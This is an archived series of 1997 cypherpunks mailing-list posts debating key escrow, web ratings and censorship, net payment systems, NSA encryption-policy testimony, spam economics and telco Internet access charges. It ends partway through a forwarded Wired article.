the photons that are emitted are low frequency and not re-absorbed.

(having taught electronics for several years I  have grown to realy hate the
 hydraulic model)

> Is this an electronic communication?

Yes.

    ____________________________________________________________________
   |                                                                    | 
   |            _____                             The Armadillo Group   |
   |         ,::////;::-.                           Austin, Tx. USA     |
   |        /:'///// ``::>/|/                     http:// www.ssz.com/  |
   |      .',  ||||    `/( e\                                           |
   |  -====~~mm-'`-```-mm --'-                         Jim Choate       |
   |                                                 ravage@ssz.com     |
   |                                                  512-451-7087      |
   |____________________________________________________________________|





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Thu, 31 Jul 1997 20:48:25 +0800
To: cypherpunks@cyberpass.net
Subject: uncensorable net based payment system?
Message-ID: <199707311240.NAA00742@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain




The internet looks like it is slowly moving towards anonymous
micropayments for services, and metering for scarce resources.

One presumes that in 10-15 years time frame such payments will be
pervasive.  In such an environment where you can buy bandwidth per Mb
at your chosen bit-rate for anonymous ecash, and buy storage per
Mb/year, and CPU time per MIPs/year there will be a large amount of
readily marketable resources.

That is to say high velocity efficient markets will arise for resale
of bandwidth, storage and CPU hours.


The interesting question then is can we actually base an entirely net
based currency on trading of these resources.  What would the
architecture for such a payment system look like?  Design goals would
be that it should be:

	- a distributed system
	- not involve trusted banks
	- be immediately exchangeable for any currency
	- be outside the influence of governments and banks
	- be immune to government hidden taxations such as printing
	  new money as a form of tax
	- be immune from government taxation
	- be a stable form of cash (in the face of rapidly
	  depreciating assets like Mb/years of storage as mass storage
	  devices continue their price plumet.)

Possible?

Then I can have some net cash savings backed by the rights to 1Tb
of bandwidth at 100 Mb/sec.  100 Mb/sec for 3 days.

A problem with this is that the market prices of the assets is
continually dropping.  How do I hedge against this.  Can I buy
futures?  Sell 100 Mb/sec for 3 days now in exchange for 200 Mb/sec
for 3 days in 1 years time at an predicted equivalent value? 

Adam
-- 
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@pathfinder.com>
Date: Fri, 1 Aug 1997 01:56:30 +0800
To: cypherpunks@toad.com
Subject: Thomas Leavitt on why online news sites should not self-label
Message-ID: <v03007807b0067f5a5896@[168.161.105.191]>
MIME-Version: 1.0
Content-Type: text/plain



************

From: leavitt@webcom.com
Subject: FC: CNET editor endorses self-labeling, "news site" standard (fwd)
To: chris_barr@cnet.com
Date: Fri, 25 Jul 1997 06:53:49 -0700 (PDT)
Cc: declan

Chris,

 What is your response to DeClan's comments?

 My own is that restricting use of the labeling system to
"bona-fide" news sites is a self-serving action, consistent
with a desire to create barriers to entry and establish
restraint of trade, and would likely result in an organization
co-opted by industry leaders, like other "regulatory"
institutions.

 Furthermore, I think generic endorsement of the validity
of rating systems, and of collaboration with government in
encouraging them and other companies in making not having
them result in invisibility (instead of merely presenting
people with the option to choose filtered or unfiltered
content from a search engine, perhaps based on a browser
header or equivalent communication of intent/desire), is
very threatening to the integrity of the 'net and free
speech.

 In fact, the whole mania for ratings, the V-chip, tv
ratings, etc. is extremely alarming to me. Look at how
the Hayes' code crippled Hollywood, and the entire
industry for decades. Ratings and censorship, etc., are
very damaging to creativity and freedom of speech...
media that endorse and accept them inevitably wind up
being corrupted and failing to realize their potential.

 Ratings endorse (and provide a means for) the basic impulse
to impose ones views about the appropriateness of content
on another. Look at the nut cases parading around our
local libraries, protesting that "Dangerous Addictive
Materials" are being made available to children because
the library refuses to install filtering software (every
implementation of which I've heard about is horribly
unselective and politically/culturally suspect).

 They reflect the same impulse that lead an elected
member of Congress to state that "the Constitution is
a barrier to religious freedom" (something which days
later, still shocks me) since it prohibits granting religion
access to state resources, in acknowledgement of the
preferential treatment likely to be given to particular
branches (and the inevitable conflicts that would result).

 Do you really want to get in bed with this kind of mentality?
Is it appropriate for a journalistic institution to be making
these kinds of judgements? I don't see the L.A. Times
providing age and appropriate guidelines at the beginning of
every story.

 The image of a child running down the road, skin burning
with Napalm, is horrifying, and potentially traumatic, to
a child. At the same time, how many careers, how many idealists
and crusaders have developed as the result of seeing the
unvarished truth, at a young age? Do you really want to be
responsible for enabling a parent to deny their child the
potential for this transformative event?

 Isn't there a conflict of interest here? What if you find
that 40% of your content gets blocked by various filters,
and the organization down the street has 5% of their content
blocked, and as a result, is making more money that you are?
Won't this produce a race to the bottom, a tendency towards
"palatable", generically unoffensive content that is not
affected by your self-imposed filters?

 Would a writer or editor whose interests/style/topics of
choice result in 80% of his or her articles falling under
broad layers of your filter have the same success as a
writer/editor who wrote about nothing but happy puppy rescue
stories?

 The more I think about it, the more convinced I become
that journalists and media have no business involving themselves
in any way shape or fashion with rating of content. This is
a formula for pablum... network news is already bad enough.
And your proposal, desire, etc., would impose this requirement
on an entire industry. No "bona-fide" journalist would be
free of this conflict of interest. Every article, report,
photo, would be influnced by the question "how will this
be affected by the filters... will I be able to sell this
if it is... will I reach the audience I wish to reach with
my message/story, if I present it this way".

 Is that what you really want?

Regards,
Thomas Leavitt

[ Jesus, DeClan, this is far worse than I thought it would
be when I started out writing this letter. ]

> Since the Supreme Court said the online world should be
> as free as print, and no self-labeling system exists
> for magazines or newspapers, why should the Net be any
> different? Why isn't the Net community opposing
> "mandatory voluntary" self-labeling systems as
> staunchly as newspapers and magazines would fight a
> similar requirement? It's best to ask these questions
> of Christopher Barr (chris_barr@cnet.com), editor in
> chief of CNET, who endorsed such a proposal in his
> column below.
>
> Barr says that he wants to ensure "that
> only real news organizations claim [the] privilege"
> of rating as news sites with RSACnews. But who decides
> what's a news site? Is CNET? pathfinder.com? epic.org,
> which the government treats as a news site when responding
> to FOIA requests? The Drudge Report? How about the NAMBLA
> News Journal?
>
> My report on the possible perils of such systems is at:
>
>   http://pathfinder.com/netly/opinion/0,1042,1173,00.html
>
> -Declan
>
> ****************
>
> http://www.cnet.com/Content/Voices/Barr/072197/index.html


--
WebCom (sm)                        Thomas Leavitt--leavitt@webcom.com
Voice: (408) 457-9671 x101         Executive Vice President

WebCom Home Page <URL:http://www.webcom.com/>






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ray Arachelian <sunder@brainlink.com>
Date: Fri, 1 Aug 1997 03:31:51 +0800
To: Eric Murray <ericm@lne.com>
Subject: Re: Denning backs away from GAK
In-Reply-To: <199707311824.LAA25935@slack.lne.com>
Message-ID: <Pine.SUN.3.96.970731150114.14495H-100000@beast.brainlink.com>
MIME-Version: 1.0
Content-Type: text/plain



On Thu, 31 Jul 1997, Eric Murray wrote:

> Her support for GAK was also on 'utilitarian' grounds- she beleived 
> law enforcement's claims that crypto prevented them from catching criminals.
> 
> This new study sounds like it pokes large holes in Freeh etc's main
> justification of GAK.   That's just fine with me.  Ms Denning may change
> her mind again later, but this is useful right now.  Especially since
> Denning was the only respected cryptographer who sided with GAK.

It serves only to prove two points:

	a. She's a government mouthpiece interested only in what will
	   serve big brother.  She will support whatever they are willing
 	   to.  Her backing off only shows their admittance that GAK
	   isn't going to bring any ROI.

	b. GAK is stupid and they're admiting it. (Placing back doors
	   is doubly stupid because someone other than the TLA's might
	   find their way and break open the whole thing if it's done
	   as a back door, or someone will be bribed to release the
	   escrowed keys.)

I offer the above as points because of all the recent exports of 128 bit
cyphers being allowed.  (It is possible they've other limitations they're
not allowed to tell us about such as the same string being encrypted in
all communications, or limits on PRNG's, but we don't know yet.)

The side note that Freeh supports GAK, but she doesn't only shows that
they speak for different agencies.  We know which one Freeh speaks for, we
believe we know who she speaks for.

If the whole point of GAK is to catch stupid criminals anyway, it will
lose.  The only criminals that aren't going to be caught are the smart
ones.   We've argued this with her for years, but she's stuck to her party
line, and all of a sudden she changes the party line.  People don't change
their minds without reason, and an NSA mouth piece isn't likely to defect
and live to talk about it or reverse their position publically.

This might add some weight to the recent "leak" about the NSA being able
to break 128 bit cyphers in 30 minutes, then again who really knows? Could
be conspiracy theories, or FUD.  IMHO this is bullshit unless they've a
working quantum computer... (Still, maybe it's time to push the envelope
again just to be sure.  Anyone have a 256 bit version of IDEA? or shall we
go the 3DES way and produce 3IDEA? :)

> Yea, it'd be great if she suddenly got religion and started upholding
> the constitution, but this is still better than I would have hoped for.

Ha!  As likely as Dr. Vulis having tea and crumpets with Tim in a London
tea house and talking about how lovely the weather is. :)

I saw her speak a while back on these issues here in NYC... I've got a
tape of it, but haven't had a chance to transcribe it yet.  Believe me,
she doesn't have "religion," she doesn't give a rats ass about the
Constitution.  IMHO, she's wearing sheep's clothing and bleeting, but them
fangs are still there, and sharp as ever.

=====================================Kaos=Keraunos=Kybernetos==============
.+.^.+.|  Ray Arachelian    |Prying open my 3rd eye.  So good to see |./|\.
..\|/..|sunder@sundernet.com|you once again. I thought you were      |/\|/\
<--*-->| ------------------ |hiding, and you thought that I had run  |\/|\/
../|\..| "A toast to Odin,  |away chasing the tail of dogma. I opened|.\|/.
.+.v.+.|God of screwdrivers"|my eye and there we were....            |.....
======================= http://www.sundernet.com ==========================





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jeff Barber <jeffb@issl.atl.hp.com>
Date: Fri, 1 Aug 1997 04:03:02 +0800
To: cypherpunks@cyberpass.net (Cypherpunks List)
Subject: Re: Denning backs away from GAK
In-Reply-To: <v03102807b00685fc9dd5@[207.167.93.63]>
Message-ID: <199707311949.PAA05625@jafar.issl.atl.hp.com>
MIME-Version: 1.0
Content-Type: text/plain



Tim May writes:
> At 9:54 AM -0700 7/31/97, William H. Geiger III wrote:
> >I serriously doubt that she has changed here stance on any of the current
> >Inet issuse mearly putting a different spin on them.
> 
> And her "second thoughts" on GAK were not based on a principled repudiation
> of the concept of "escrowing" keys, or on Constitutional grounds,  but only
> on the grounds that her study did not show that many criminal cases were
> much affected by the lack of key escrow.

Absolutely.  One wonders also if she may be concerned about loss of
reputation capital (i.e. her ability to be an effective advocate for
the NSA/LEA types).  The recent report by a panel of well-known
cryptographers arguing that key escrow is technologically and
economically infeasible has made her look pretty out of touch, since
she's been arguing exactly the opposite for years.


-- Jeff





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ray Arachelian <sunder@brainlink.com>
Date: Fri, 1 Aug 1997 04:03:02 +0800
To: "Dr. Jai Maharaj" <jai@mantra.com>
Subject: Re: Entrust Technologies's Solo - free download
In-Reply-To: <3.0.2.32.19970731084010.009d8100@caprica.com>
Message-ID: <Pine.SUN.3.96.970731155237.14495K-100000@beast.brainlink.com>
MIME-Version: 1.0
Content-Type: text/plain



On Thu, 31 Jul 1997, Dr. Jai Maharaj wrote:

> That's ridiculous.  One shopping for an ISP, without
> access to the Net, is not in a position to read a
> notice in a newsgroup.  It makes sense that censorship
> and forgery advocates would also suggest means of hiding
> the truth.

Not quite.  Most ISP's charge by the month and most give trail
subscriptions with a free month or two weeks or whatever.  One shopping
for an ISP can sign up for three or four, and then cancel the lame ones.

=====================================Kaos=Keraunos=Kybernetos==============
.+.^.+.|  Ray Arachelian    |Prying open my 3rd eye.  So good to see |./|\.
..\|/..|sunder@sundernet.com|you once again. I thought you were      |/\|/\
<--*-->| ------------------ |hiding, and you thought that I had run  |\/|\/
../|\..| "A toast to Odin,  |away chasing the tail of dogma. I opened|.\|/.
.+.v.+.|God of screwdrivers"|my eye and there we were....            |.....
======================= http://www.sundernet.com ==========================





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Fri, 1 Aug 1997 04:14:31 +0800
To: cypherpunks@toad.com
Subject: JD Lasica on labels/censorware as threat to Net, in Salon
Message-ID: <v0300780fb0069e66a522@[168.161.105.191]>
MIME-Version: 1.0
Content-Type: text/plain




*********

Subject: censorship story on salon
   Date: Thu, 31 Jul 1997 09:49:17 -0700
   From: Joseph Lasica <jlasica@microsoft.com>
     To: "'declan@well.com'" <declan@well.com>

Declan,

Hey, thought you'd be interested in the lead story today in Salon, the
one on the Ratings police.

*********

[I've attached the first part of the story below. Visit the web site for
the complete article; it's well worth a read. --Declan]

http://www.salonmagazine.com/july97/21st/ratings970731.html

RATINGS TODAY, CENSORSHIP TOMORROW

The Net industry is rushing to embrace ratings systems
for the Web. The technology will help parents keep
their kids away from porn. It can also help anyone
censor anything.

BY JOSEPH D. LASICA

A few years from now, when we look back at what
crippled the Internet as a global forum for the free
exchange of information, at least we'll know it was
done with the best of intentions.

Who, after all, could oppose Internet ratings if they
create a "family-friendly" online world?

And so, to make the Net safer for kids and to avert
government regulation, the Internet brain trust has
banded together to push rating, filtering and labeling
technology -- a private-sector techno-fix to cleaning
up the Net. President Clinton has signed on and has
used his bully pulpit to jawbone companies that were
wavering on the issue. And the news media have covered
the president's initiative with the gusto of a pep
rally.

With all this firepower behind them, ratings are
coming to a Web site near you -- in fact, to all Web
sites, if proponents have their way. And a panoply of
would-be censors -- from foreign despots to home-grown
zealots and pandering politicians -- couldn't be
happier.

"What's happening now is a move toward the privatizing
of censorship," says David Sobel, legal counsel for
the Electronic Privacy Information Center (EPIC).
"It's likely to destroy the Internet as it's existed
up till now."

There are a great many ironies here, but the greatest
irony is that the censorship will be self-imposed --
we're doing it for the sake of family, parents,
children. In truth, Internet ratings are being driven
by the changing business interests of the major
players involved.

In the last go-around over muzzling the Internet, Net
users, the computer industry, the media and civil
liberties groups all united against the government's
Communications Decency Act -- which the Supreme Court
buried last month. This time around, the lineup is a
lot more lopsided.

On one side: the U.S. government, the high-tech
industry, most major media outlets and a vocal cast of
parents' organizations, child-safety advocates and
anti-obscenity groups.

On the other: the American Civil Liberties Union,
EPIC, the American Library Association, a smattering
of university scholars and that guy over there waving
the "No ratings" sign.

Why have the software companies and Internet firms
gone over to the other side? Certainly, they're
spooked by the specter of Congress passing a "son of
CDA" bill. But it goes beyond that.

Internet ratings dovetail nicely with big business's
desire to make the Internet safe for God, apple pie
and commercialism. The "dark side" of the Net --
hackers, foreigners, political extremists, geeks,
"phreaks," porn purveyors, hate groups, people who
SHOUT IN ALL CAPS AND USE EXCLAMATION MARKS!!! -- will
largely be banished to an unrated no-man's land where
browsers and search engines fear to tread.

So it was no surprise that the invitation list to the
Internet summit at the White House on July 16 bore
names like Netscape, America Online and IBM rather
than names like geekboy or cybergrrrl. At the meeting,
President Clinton announced a "parental empowerment"
initiative that would give parents the tools to shield
children from obscenity, violence and antisocial
messages on the Net. Although every idea on the table
is software-based, the administration couldn't resist
dubbing the plan the "E-chip," a cousin of
television's V-chip, which will block unsuitable
programming.

[...]


-------------------------
Declan McCullagh
Time Inc.
The Netly News Network
Washington Correspondent
http://netlynews.com/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ray Arachelian <sunder@brainlink.com>
Date: Fri, 1 Aug 1997 04:15:29 +0800
To: "Dr. Jai Maharaj" <jai@mantra.com>
Subject: Re: Entrust Technologies's Solo - free download
In-Reply-To: <3.0.2.32.19970731090708.00968100@caprica.com>
Message-ID: <Pine.SUN.3.96.970731155440.14495L-100000@beast.brainlink.com>
MIME-Version: 1.0
Content-Type: text/plain



On Thu, 31 Jul 1997, Dr. Jai Maharaj wrote:

> That is unacceptable since the users would have already
> paid for the account by that time and signed a contract.

Bullshit.  I've had accounts on escape, dorsai, and now brainlink. 
Neither forced me to prepay or sign any contract. I've seen plenty of
offers from NetCom and other providers for a free month of access.  Even
AOL gives free demo hours.  

Any ISP that forces you to pre-pay for access or sign a contract isn't a
decent ISP by definition, and therefore any censoring they do is also
unimportant since they already by definition suck. 

There's enough competition between mom & pop ISP's out there that it
doesn't pay for them to censor or piss off their users.  The users can
simply tar their files and leave.  i.e.  Escape.com - when I was
subscribed to it had a broken trn, and after two-three months of asking
them to recompile it, I canceled my account and went elsewhere. (They had
tin, but I prefer trn.) 

There are also free and not so free news servers that one can point to,
DejaNews and other archive sources.  If your ISP precensors your feed, you
can get other feeds.

This is a silly arguement when the clients themselves can simply say no to
sucky censoring ISP's.

For example with my own accounts I refuse to subscribe to any ISP that
won't let me have a shell account.  PPP is nice and fine, but I want to be
able to run stuff from a shell. :)  (I wonder if the next volley of
censorship messages will say "Oh, that must mean you censor the ISP's
because you won't subscribe to ones that don't offer shell - to which I'll
answer fuck yes!)

=====================================Kaos=Keraunos=Kybernetos==============
.+.^.+.|  Ray Arachelian    |Prying open my 3rd eye.  So good to see |./|\.
..\|/..|sunder@sundernet.com|you once again. I thought you were      |/\|/\
<--*-->| ------------------ |hiding, and you thought that I had run  |\/|\/
../|\..| "A toast to Odin,  |away chasing the tail of dogma. I opened|.\|/.
.+.v.+.|God of screwdrivers"|my eye and there we were....            |.....
======================= http://www.sundernet.com ==========================





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "John W. Noerenberg" <jwn2@qualcomm.com>
Date: Fri, 1 Aug 1997 07:47:15 +0800
To: cypherpunks@ssz.com
Subject: excerpt from William P. Crowell
Message-ID: <v04000d12b006c4406797@[129.46.137.118]>
MIME-Version: 1.0
Content-Type: text/plain



Excerpt from prepared testimony of William P. Crowell deputy director,
National Security Agency before the House National Security Committee
Wednesday, July 29, 1997:

[Intro elided]

Goodlatte Bill and  National Security

Before I go into the details of what the nation needs in a balanced
encryption policy - a policy that gets strong encryption to be used widely
while at the same time protects the nation's public safety and national
security - it is important to understand that the Goodlatte bill would
directly threaten national security.

First, the Goodlatte bill would impact our foreign intelligence mission.
The analysis of foreign communications has, literally, helped shorten
global wars and averted regional ones. The export control process is very
important since it gives us valuable insights into what is being exported,
to whom, and for what purpose.

Second, the Goodlatte bill would undermine international efforts to catch
terrorists, spies, and drug traffickers. Quite simply, such efforts save
American lives and protect our free society. Secretary of Defense Cohen and
Attorney General Reno sent letters to you last week that very clearly state
their support for encryption policies that account for these national
security and public safety interests. Not only would the Goodlatte bill
jeopardize national security, it would do very little to achieve the goal
of getting strong encryption used widely. For these reasons, it is
important to understand some of the technical aspects of encryption so we
can develop balanced policy solutions that are technically sound.

[crypto 101 elided]

 The Administration's Approach To Encryption Policy

  Reform Is Very Different From Earlier Key Escrow Initiatives

Some have argued that the Administration's recent policy initiative is the
same as previous key escrow initiatives. Their argument is disingenuous and
incorrect. The KMI initiative is about creating an environment in which
commercial encryption can flourish. Just as significant, the
Administration's proposal differs significantly from previous key escrow
initiatives because:

  -- It eliminates the  focus on bit lengths;
  -- The government doesn't hold the keys;
  -- A separate key escrow infrastructure is not required;
  -- Keys can be held overseas;
  -- It doesn't prescribe algorithms or limit them to hardware; and,
  -- Users' data recovery needs can be met.

With these impediments addressed, industry and government can work to
develop encryption products that will win acceptance in foreign markets and
establish infrastructure services to support those products. Several major
companies recognize these profound changes and have formed business
ventures to thrive within the new climate. In October 1996 IBM formed the
Key Recovery Alliance and that alliance has already grown to over 50
domestic and international companies. Alliance members include Apple,
Mitsubishi, Boeing, DEC, Hewlett Packard, Motorola, Novell, SUN, America
Online, Unisys, and RSA.

Despite Being Available, Encryption is Not Being Widely Used

Most measurements of encryption are inadequate (incomplete or inconclusive)
since they do not show how many people are using encryption. Encryption can
be measured in a number of ways. Depending on how it is measured, one could
misconstrue the data to conclude that "the encryption genie is out of the
bottle" or that the bottle is tightly plugged.

The fact of the matter is that encryption is widely available (e.g.,
embedded in tens of millions of commercial software products) but, based on
our impressions from market surveys, etc., is not widely used. Those who
argue that government encryption policies are outdated because "the
encryption genie is out of the bottle" (i.e., there are many products
advertised to contain encryption and some of them are available from the
Internet) must consider two important perspectives.

First, encryption is not now being, and will not be, used to its fullest
potential (with confidence by 100s of millions of people) until there is an
infrastructure in place to support it. Encryption is not a genie that will
magically solve the security problem. Nor is the Administration trying to
'keep the plug in the bottle'. The Administration wants to help promote a
full range of trusted security services providing privacy, authentication,
and data integrity while simultaneously fulfilling public safety and
national security responsibilities for our government, and governments
worldwide.

Second, serious users of security products don't use free security products
from the Internet. The president of a prominent Internet security
corporation was recently asked in a magazine article on this issue: "Since
encryption technology is available as freeware off the Internet, why would
anyone pay a company for it?" He responded by saying: "Freeware is worth
exactly what you pay for it. I'd rather not implement security systems
using software for which the source code is available to any 12- yearold
who thinks being a hacker is fun." In other words, when determining what
encryption you use to protect valuable business secrets, you should
consider who you're getting it from, how it got to you, and whether you'll
receive support when you need it.

U.S.  Encryption Policies Are Addressing Concerns That The Rest
Of The World Is Also Facing

The U.S. is not the only nation which has concerns that encryption use by
criminals can threaten public safety. All countries that are major
producers of cryptography control its export. Some of those countries have
voiced their displeasure with the U.S. decision to export 56-bit
encryption. Though the U.S. does not have domestic restrictions, some
countries do through import controls of encryption and its domestic use.
Recently, France, Israel, and Russia imposed import and domestic use
restrictions, and severe Asian, South American, and African countries have
informally done so for many years.

At this point, it would be over-generalizing to say that the world has
agreed to an approach on key recovery, but it is accurate to say that all
governments want authorized access to encrypted information. The U.S. is
not the only nation that recognizes the dual-edged nature of the encryption
tool.

Wrap Up

The Administration is basing its policies on the foundation that the need
for robust commercial encryption will grow and it has proposed policy
reforms to ensure that American companies and the public, can flourish in
the future encryption market. The Administration 's approach is not past
its time, it is just in time. The fundamental issue in play is how industry
will build key management infrastructures to support mass market products
with encryption. If infrastructures are built that support key recovery,
then the export control debate can be concluded. Otherwise, governments
worldwide are likely to resist the use of those products because of public
safety concerns. Though the Administration's proposed policies will have a
significant impact on NSA, I believe they are a reasonable response to a
complex, interdependent set of issues. I hope that the Administration can
continue to work with Congress and industry to reach a resolution of these
issues. Thank you for the opportunity to address this important matter.

####


john noerenberg
jwn2@qualcomm.com
pager: jwn2@pager.qualcomm.com
  --------------------------------------------------------------------
   "We need not to be left alone.  We need to be really
    bothered once in a while."
  -- Ray Bradbury, Farhenheit 451, 1953
  --------------------------------------------------------------------






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jeff Barber <jeffb@issl.atl.hp.com>
Date: Fri, 1 Aug 1997 04:39:00 +0800
To: kent@songbird.com
Subject: Re: non-censorous spam control (was Re: Spam is Information?)
In-Reply-To: <19970731095523.04336@bywater.songbird.com>
Message-ID: <199707312017.QAA05673@jafar.issl.atl.hp.com>
MIME-Version: 1.0
Content-Type: text/plain



Kent Crispin writes:

> I agree.  If charging for mail would eliminate spam, then I should not
> be getting the mailboxfull of physical junk mail I receive every
> morning.  Postage benefits the MAIL CARRIER, not the recipient, and it
> is in the best interests of the mail carrier to carry MORE mail, not
> less.  So, e-postage will almost certainly cause more spam, not less. 

I dunno about the last part of this, but I agree with the basic point
(yes, I agree with Kent! It's a miracle! :-).

I used to think differently, but I've become convinced that the cost
of e-postage isn't going to be high enough that it'll be much of a
control.  Network bandwidth used for the purpose of email transport,
even with increased spamming factored in, is simply too low to justify
charging much for it.  It will still be *way* cheaper than surface mail.
So unless the percentage of people who delete it instantly, sight-unseen,
is higher than I suspect or new tools make it easy to filter out all
spam, it's going to remain economically advantageous for the spammers
to target broadly.


-- Jeff





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Peter Trei" <trei@process.com>
Date: Fri, 1 Aug 1997 04:39:12 +0800
To: cypherpunks@ssz.com
Subject: Re: Rep. White introduces Internet Protection Act (fwd)
Message-ID: <199707312023.PAA21958@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text/plain



> From:          Jim Choate <ravage@ssz.com>
> Subject:       Re: Rep. White introduces Internet Protection Act (fwd)
> To:            cypherpunks@ssz.com (Cypherpunks Distributed Remailer)
> Date:          Thu, 31 Jul 1997 13:39:12 -0500 (CDT)
> Reply-to:      Jim Choate <ravage@ssz.com>

> Forwarded message:
>
Peter Trei wrote 
> 
> > Here's a fun little thought experiment:
[lots of snipping on both sides] 
> A flawed one.
> 
> > Considering the hairsplitting that takes place everyday
> > in courtrooms these days, an arguement could be made that
> > since virtually the entire net these days is optical fiber,
> > there are no 'electronic' communications taking place.
> > 
> > Does the FCC charter mention photonic communications as 
> > well? At what point does the charter allow them to 
> > interfere? Here's some steps on the way...

[amusing, not too serious arguments involving mimes deleted]
 
> Photons are the vector boson for em radiation, in a wire or in the air.
> In the wire the photons go from electron and protons to other electrons and
> protons. This is what makes them want to 'move'. Despite popular vision, they
> don't go bumping into each other like a bunch of ping-pong balls in a pipe...

> > Is this an electronic communication?
> 
> Yes.

So when I look at someone's facial expression, I'm using photons, and 
the FCC can regulate this activity as an 'electronic communication'?
This seems to be what you are suggesting.

I have this niggling memory at the back of my mind to the
effect that the FCC regulates nothing above a certain
frequency (somewhere in the microwave region). I don't
know if this is an internal rule, or something imposed on
them by charter or congress.

I'm not sure what the limit is. The highest frequency I've
been able to find regulations for is 105 GHz, the upper 
edge of a band reserved for SETI research in Britain. The
highest FCC reg I've seen tops out at 77 GHz. 

This is all far below the frequencies of light used in 
fiber optic networks.

Anything above about 100GHz seems to be unregulated. 

Peter Trei
trei@process.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Fri, 1 Aug 1997 05:16:18 +0800
To: cypherpunks@toad.com
Subject: "Telco Terrorism" -- Wired on Baby Bells v. the Net
Message-ID: <v03007815b006ac98fb64@[168.161.105.191]>
MIME-Version: 1.0
Content-Type: text/plain




*******

http://www.wired.com/wired/5.06/netizen.html

Wired
Issue 5.06 - June 1997
Netizen

Telco Terrorism
By Declan McCullagh (declan@well.com)

   If the Baby Bells get their way, you'll pay by the
   minute and through the nose for the privilege of
   logging on. But the Net has an unlikely defender: the
   FCC.

---

Ed Young, Bell Atlantic's chief lobbyist, is a busy man -
so busy, he says, that he can find time to talk only
between meetings in a Nynex boardroom in Washington,
DC. He waves expansively at the juice bar and grins,
"Take whatever you like. It's all paid for by Nynex."
A moment later, Young denounces Internet users for
precisely the same attitude. "There's no longer a free
lunch," he complains. "Internet welfare has to stop."
It's a catchy sound bite - honed through countless
repetitions over the last year - and Young has spent a
lot of time testing it out on Washington regulators.
He says that flat-rate Internet pricing is clogging
phone lines, jamming telephone switches, and, most
important, costing his employer hundreds of millions
of dollars a year. Last summer, Bell Atlantic teamed
up with a few other Baby Bells to try to persuade the
Federal Communications Commission to levy
minute-by-minute access charges on Internet service
providers - hefty fees that could double or triple the
average monthly bill. For the telcos, securing
permission to begin collecting access fees would be
like hitting the jackpot; a charge of merely 3 cents a
minute would bring in nearly US$6 billion in new
revenue each year.

But some important members of the high tech community
worry that it could also trigger the death of the Net.
Three-cents-a-minute access fees would boost a service
provider's costs by more than $100 a month for each
subscriber who logs on for two hours a day. In an era
when $19.95-per month flat-rate pricing reigns
supreme, the thought of shelling out per minute access
charges to local phone companies has the online
industry scared shitless. CompuServe, for example,
estimates that its phone costs would zoom from $36
million to $367 million. The online and high tech
industries have counterattacked, arguing that while
more than 18 million Americans creep through
cyberspace using modems that sip bandwidth through
twisted-pair straws, the telcos want more money yet
refuse to improve service by bringing high-speed data
connections to the local loop.

The stage has been set for a showdown between a
telephone industry regulated since its birth and a new
economy that has prospered with surprisingly little
government interference. The tug-of-war pits
buttoned-down monopolies against a rough-and-tumble
collection of Silicon Valley bigwigs. Faced with
potential disaster, the high tech coalition has had no
choice but to learn the art of war as it is waged
within the confines of the FCC's arcane rulemaking
process.

This strange form of bureaucratized combat - which
operates under the guise of public policy - has plenty
of precedents in the annals of American capitalism.
But in this particular fight, an unusual third set of
combatants has been dragged into the struggle:
grassroots Internet users. Speaking with a mixture of
awe and bewilderment, FCC attorney James Casserly
says, "In the past, we've never seen anything like
this."

A case of congestion It's not that the telcos'
anxieties are entirely unfounded: real problems loom
on the horizon. America's local-loop architecture - in
which modems use analog phone lines for digital
communications - is vulnerable to network congestion,
and flat-rate pricing for phone and Internet service
seems destined to exacerbate the problem. This is
largely because telephone networks are designed around
the assumption that roughly one in every eight
subscribers will try to use the phone simultaneously -
which, in turn, means that if just 12 percent of an
area's customers are online at once, nobody else can
use the phone. In other words, America's
telecommunications infrastructure, was designed to
facilitate occasional analog calls, not continuous
digital connections. The telcos are standing at a
crossroads, stuck with a network that was designed for
voice traffic but that now groans under the weight of
data calls. The Baby Bells understand this, and they
say they want to go digital. Which raises the
questions: How will they do it, when will they do it,
and, more important, who will pay?

Both sides agree that the solution lies in new
technology. Currently, most phone calls travel along
an analog phone line to a digital switch that connects
to an analog outgoing line. Find a way to bypass the
analog connections with end-to-end digital networks,
and the congestion problem disappears. Here's why: To
transmit data, analog circuit-switched networks
require a continuous open channel, which must be
maintained even when it's not in use. But a digital
packet-switched network, such as the Internet, breaks
the data into small chunks that are sent as needed
asynchronously and reassembled by the receiver.

Right now, the telcos have no financial incentive to
promote speedier, more efficient technologies - and
when they've tried, they've blown it through a
combination of high prices and notoriously bad
customer service and support. Take ISDN, a digital
technology that has been ready-to-arrive for 25 years
but never quite did. "The problem isn't technology,"
according to James Love, an economist at the Ralph
Nader-sponsored Consumer Project on Technology. "It's
monopoly pricing by the telcos."

There are even better technical solutions than ISDN,
such as xDSL, about which the telcos appear ambivalent
at best. They shouldn't be. The xDSL family of
digital-subscriber-line technologies could provide a
way out of the regulatory staredown between the telcos
and the Net, supercharging ordinary copper wires to
carry data at Ethernet speeds without clogging the
voice network.

Studying the studies For now, however, both sides are
pumping most of their energy into spinning the
argument. Last June and July, Bell Atlantic, U S West,
PacBell, and Nynex launched the opening salvo in the
access-fee battle by passing along a few studies to
the FCC. The Bell Atlantic report noted that Net
surfers use their phone lines to make longer calls,
with an average length of 18 minutes, compared with 5
minutes for a typical voice call. Meanwhile, Bell
Atlantic said it spends $75 to service and maintain
